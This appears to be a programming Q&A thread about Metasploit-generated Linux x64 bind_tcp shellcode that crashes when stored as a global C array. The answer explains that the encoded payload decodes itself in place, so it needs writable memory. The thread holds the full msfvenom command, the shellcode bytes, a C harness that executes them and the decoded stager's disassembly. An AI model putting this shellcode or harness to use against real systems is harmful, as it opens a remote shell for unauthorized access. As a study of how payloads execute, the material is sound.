Search code examples
cx86elfshellcodemetasploit

Msfvenom bind_tcp shellcode not working when the shellcode is defined as a global variable


I am generating bind_tcp shellcode on my Ubuntu with the following command:

msfvenom -p linux/x64/shell/bind_tcp -b "\x00" -f c RHOST=172.31.31.179 LPORT=1234

And my C code to test it is:

#include <stdio.h>
#include <string.h>

__attribute__((section(".text#")))
unsigned char code[] = 
        "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef"
        "\xff\xff\xff\x48\xbb\xce\xce\x52\xea\xc0\xc8\xf1\x54\x48"
        "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\xe7\x0a"
        "\x73\xaa\xca\xae\x3e\xcf\x90\x5d\xef\x88\x5f\xa3\x93\xca"
        "\xea\x50\xea\xc4\x1a\xb9\xdd\x28\xa4\x42\xb0\xaa\xf9\xa9"
        "\x5b\xcb\x97\x38\xd8\x98\xc7\xf4\x1c\x58\xa4\x79\xb2\xcf"
        "\xcd\xa1\x02\x91\xa4\x5b\xb2\x59\x7e\xe1\x1c\x47\x18\x1f"
        "\xdb\x09\xa2\xd3\x15\x94\x7c\x55\xe5\xc5\x80\x67\x1c\x59"
        "\x91\x5d\xef\x3f\x2e\xf1\x54";


int main() {
    printf("Shellcode Length %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Compiling the code with gcc -z execstack -fno-stack-protector -o shellCode shellCode.c then running ./shellCode generates a segmentation fault. However, if I move the code array into the main function (and remove the __attribute__), the code works and I can exploit with msfconsole.

My question is: why does defining code as a global variable not work? I have checked both the ELF files, and both times the code is under the .text section. But the difference is:

  • In the global variable version, the shellcode resides in a separate section called code inside section .text and the disassembly seems incorrect:

    0000000000001180 <code>:
    1180:       48 31 c9                xor    rcx,rcx
    1183:       48 81 e9 f6 ff ff ff    sub    rcx,  0xfffffffffffffff6
    118a:       48 8d 05 ef ff ff ff    lea    rax,[rip  +0xffffffffffffffef]        # 1180 <code>
    1191:       48 bb ce ce 52 ea c0    movabs rbx,  0x54f1c8c0ea52cece
    1198:       c8 f1 54 
    119b:       48 31 58 27             xor    QWORD PTR [rax  +0x27],rbx
    119f:       48 2d f8 ff ff ff       sub    rax,  0xfffffffffffffff8
    11a5:       e2 f4                   loop   119b <code+0x1b>
    11a7:       a4                      movs   BYTE PTR es:[rdi],  BYTE PTR ds:[rsi]
    11a8:       e7 0a                   out    0xa,eax
    11aa:       73 aa                   jae    1156   <__do_global_dtors_aux+0x36>
    11ac:       ca ae 3e                retf   0x3eae
    11af:       cf                      iret   
    11b0:       90                      nop
    11b1:       5d                      pop    rbp
    11b2:       ef                      out    dx,eax
    11b3:       88 5f a3                mov    BYTE PTR   [rdi-0x5d],bl
    11b6:       93                      xchg   ebx,eax
    11b7:       ca ea 50                retf   0x50ea
    11ba:       ea                      (bad)  
    11bb:       c4                      (bad)  
    11bc:       1a b9 dd 28 a4 42       sbb    bh,BYTE PTR [rcx  +0x42a428dd]
    11c2:       b0 aa                   mov    al,0xaa
    11c4:       f9                      stc    
    11c5:       a9 5b cb 97 38          test   eax,0x3897cb5b
    11ca:       d8 98 c7 f4 1c 58       fcomp  DWORD PTR [rax  +0x581cf4c7]
    11d0:       a4                      movs   BYTE PTR es:[rdi],  BYTE PTR ds:[rsi]
    11d1:       79 b2                   jns    1185 <code+0x5>
    11d3:       cf                      iret   
    11d4:       cd a1                   int    0xa1
    11d6:       02 91 a4 5b b2 59       add    dl,BYTE PTR [rcx  +0x59b25ba4]
    11dc:       7e e1                   jle    11bf <code+0x3f>
    11de:       1c 47                   sbb    al,0x47
    11e0:       18 1f                   sbb    BYTE PTR [rdi],bl
    11e2:       db 09                   fisttp DWORD PTR [rcx]
    11e4:       a2 d3 15 94 7c 55 e5    movabs   ds:0x80c5e5557c9415d3,al
    11eb:       c5 80 
    11ed:       67 1c 59                addr32 sbb al,0x59
    11f0:       91                      xchg   ecx,eax
    11f1:       5d                      pop    rbp
    11f2:       ef                      out    dx,eax
    11f3:       3f                      (bad)  
    11f4:       2e f1                   cs icebp 
    11f6:       54                      push   rsp
    
  • In the local variable version it looks like this (starting from line 1175):

    1169:       f3 0f 1e fa             endbr64 
    116d:       55                      push   rbp
    116e:       48 89 e5                mov    rbp,rsp
    1171:       48 83 c4 80             add    rsp,0xffffffffffffff80
    1175:       48 b8 48 31 c9 48 81    movabs rax,0xfff6e98148c93148
    117c:       e9 f6 ff 
    117f:       48 ba ff ff 48 8d 05    movabs rdx,0xffffef058d48ffff
    1186:       ef ff ff 
    1189:       48 89 45 80             mov    QWORD PTR [rbp-0x80],rax
    118d:       48 89 55 88             mov    QWORD PTR [rbp-0x78],rdx
    1191:       48 b8 ff 48 bb ce ce    movabs rax,0xc0ea52cecebb48ff
    1198:       52 ea c0 
    119b:       48 ba c8 f1 54 48 31    movabs rdx,0x482758314854f1c8
    11a2:       58 27 48 
    11a5:       48 89 45 90             mov    QWORD PTR [rbp-0x70],rax
    11a9:       48 89 55 98             mov    QWORD PTR [rbp-0x68],rdx
    11ad:       48 b8 2d f8 ff ff ff    movabs rax,0xa4f4e2fffffff82d
    11b4:       e2 f4 a4 
    11b7:       48 ba e7 0a 73 aa ca    movabs rdx,0xcf3eaecaaa730ae7
    11be:       ae 3e cf 
    11c1:       48 89 45 a0             mov    QWORD PTR [rbp-0x60],rax
    11c5:       48 89 55 a8             mov    QWORD PTR [rbp-0x58],rdx
    11c9:       48 b8 90 5d ef 88 5f    movabs rax,0xca93a35f88ef5d90
    11d0:       a3 93 ca 
    11d3:       48 ba ea 50 ea c4 1a    movabs rdx,0x28ddb91ac4ea50ea
    11da:       b9 dd 28 
    11dd:       48 89 45 b0             mov    QWORD PTR [rbp-0x50],rax
    11e1:       48 89 55 b8             mov    QWORD PTR [rbp-0x48],rdx
    11e5:       48 b8 a4 42 b0 aa f9    movabs rax,0xcb5ba9f9aab042a4
    11ec:       a9 5b cb 
    11ef:       48 ba 97 38 d8 98 c7    movabs rdx,0x581cf4c798d83897
    11f6:       f4 1c 58 
    11f9:       48 89 45 c0             mov    QWORD PTR [rbp-0x40],rax
    11fd:       48 89 55 c8             mov    QWORD PTR [rbp-0x38],rdx
    1201:       48 b8 a4 79 b2 cf cd    movabs rax,0x9102a1cdcfb279a4
    1208:       a1 02 91 
    120b:       48 ba a4 5b b2 59 7e    movabs rdx,0x471ce17e59b25ba4
    1212:       e1 1c 47 
    1215:       48 89 45 d0             mov    QWORD PTR [rbp-0x30],rax
    1219:       48 89 55 d8             mov    QWORD PTR [rbp-0x28],rdx
    121d:       48 b8 18 1f db 09 a2    movabs rax,0x9415d3a209db1f18
    1224:       d3 15 94 
    1227:       48 ba 7c 55 e5 c5 80    movabs rdx,0x591c6780c5e5557c
    122e:       67 1c 59 
    1231:       48 89 45 e0             mov    QWORD PTR [rbp-0x20],rax
    1235:       48 89 55 e8             mov    QWORD PTR [rbp-0x18],rdx
    1239:       48 b8 91 5d ef 3f 2e    movabs rax,0x54f12e3fef5d91
    1240:       f1 54 00 
    1243:       48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
    1247:       48 8d 45 80             lea    rax,[rbp-0x80]
    124b:       48 89 c7                mov    rdi,rax
    124e:       e8 0d fe ff ff          call   1060 <strlen@plt>
    1253:       48 89 c6                mov    rsi,rax
    1256:       48 8d 3d a7 0d 00 00    lea    rdi,[rip+0xda7]        # 2004 <_IO_stdin_used+0x4>
    125d:       b8 00 00 00 00          mov    eax,0x0
    1262:       e8 09 fe ff ff          call   1070 <printf@plt>
    1267:       48 8d 45 80             lea    rax,[rbp-0x80]
    126b:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
    126f:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
    1273:       b8 00 00 00 00          mov    eax,0x0
    1278:       ff d2                   call   rdx
    127a:       b8 00 00 00 00          mov    eax,0x0
    127f:       c9                      leave  
    1280:       c3                      ret    
    1281:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
    1288:       00 00 00 
    128b:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]
    

Does msfvenom require making the shellcode a local variable? If so, is there any way to walk around this mechanism?


Solution

  • As you can see from the first few instructions of the shellcode you're trying to execute:

        1180:       48 31 c9                xor    rcx,rcx
        1183:       48 81 e9 f6 ff ff ff    sub    rcx,0xfffffffffffffff6
        118a:       48 8d 05 ef ff ff ff    lea    rax,[rip+0xffffffffffffffef]        # 1180 <code>
        1191:       48 bb ce ce 52 ea c0    movabs rbx,0x54f1c8c0ea52cece
        1198:       c8 f1 54 
        119b:       48 31 58 27             xor    QWORD PTR [rax+0x27],rbx
        119f:       48 2d f8 ff ff ff       sub    rax,0xfffffffffffffff8
        11a5:       e2 f4                   loop   119b <code+0x1b>
        ...
    

    The shellcode is self-modifying. The first few instructions locate the rest of the machine code to execute, load the address into RAX, and then XOR it 8 bytes at a time with the constant 0x54f1c8c0ea52cece in a loop. When that's done (after 10 iterations it seems, since RCX starts from 10) the rest of the shellcode will be executed.

    This works well if you declare the code in a section that is readable, writable and executable (such as the stack when using -z execstack), but it definitely cannot work in a section that is only readable and executable (such as the text). Therefore, you should either use the stack (local variable) or tell Msfvenom to produce shellcode that is not self-modifying. Not sure how to accomplish the second option since I've never used that tool, but maybe look at a different -p payload or look at --payload-options.

    The second code snippet for the local variable case seems to make more sense only because declaring a local buffer on the stack will result in the compiler emitting a bunch of MOV/MOVABS instructions to populate the buffer before the actual function starts. So what you see is not the shellcode, but merely code that is writing the shellcode to the stack. The actual shellcode execution starts here:

    1278:       ff d2                   call   rdx
    

    And you will not be able to see/dump it with a simple disassembler like you did in the first case.

    In any case, the shellcode that gets executed will still be the same as the one you printed for the global variable case. It will self-modify and then execute. This time however it will work because the stack is RWX with -z execstack.

    If you run your program under a debugger such as GDB and single-step after call rdx, you will be able to see the self-modification happen and you will be able to observe the rest of the code after it is XORed. I did this for you, and the shellcode after the loop looks like this:

    0:  6a 29                   push   0x29
    2:  58                      pop    rax
    3:  99                      cdq
    4:  6a 02                   push   0x2
    6:  5f                      pop    rdi
    7:  6a 01                   push   0x1
    9:  5e                      pop    rsi
    a:  0f 05                   syscall
    c:  48 97                   xchg   rdi,rax
    e:  52                      push   rdx
    f:  c7 04 24 02 00 04 d2    mov    DWORD PTR [rsp],0xd2040002
    16: 48 89 e6                mov    rsi,rsp
    19: 6a 10                   push   0x10
    1b: 5a                      pop    rdx
    1c: 6a 31                   push   0x31
    1e: 58                      pop    rax
    1f: 0f 05                   syscall
    21: 59                      pop    rcx
    22: 6a 32                   push   0x32
    24: 58                      pop    rax
    25: 0f 05                   syscall
    27: 48 96                   xchg   rsi,rax
    29: 6a 2b                   push   0x2b
    2b: 58                      pop    rax
    2c: 0f 05                   syscall
    2e: 50                      push   rax
    2f: 56                      push   rsi
    30: 5f                      pop    rdi
    31: 6a 09                   push   0x9
    33: 58                      pop    rax
    34: 99                      cdq
    35: b6 10                   mov    dh,0x10
    37: 48 89 d6                mov    rsi,rdx
    3a: 4d 31 c9                xor    r9,r9
    3d: 6a 22                   push   0x22
    3f: 41 5a                   pop    r10
    41: b2 07                   mov    dl,0x7
    43: 0f 05                   syscall
    45: 48 96                   xchg   rsi,rax
    47: 48 97                   xchg   rdi,rax
    49: 5f                      pop    rdi
    4a: 0f 05                   syscall
    4c: ff e6                   jmp    rsi
    

    P.S.: that "section" you see called code:

    0000000000001180 <code>:
    

    Is not a section, it's just a symbol referring to the global variable code, and objdump (or whatever tool you used to disassemble the ELF) is highlighting where the symbol starts for you.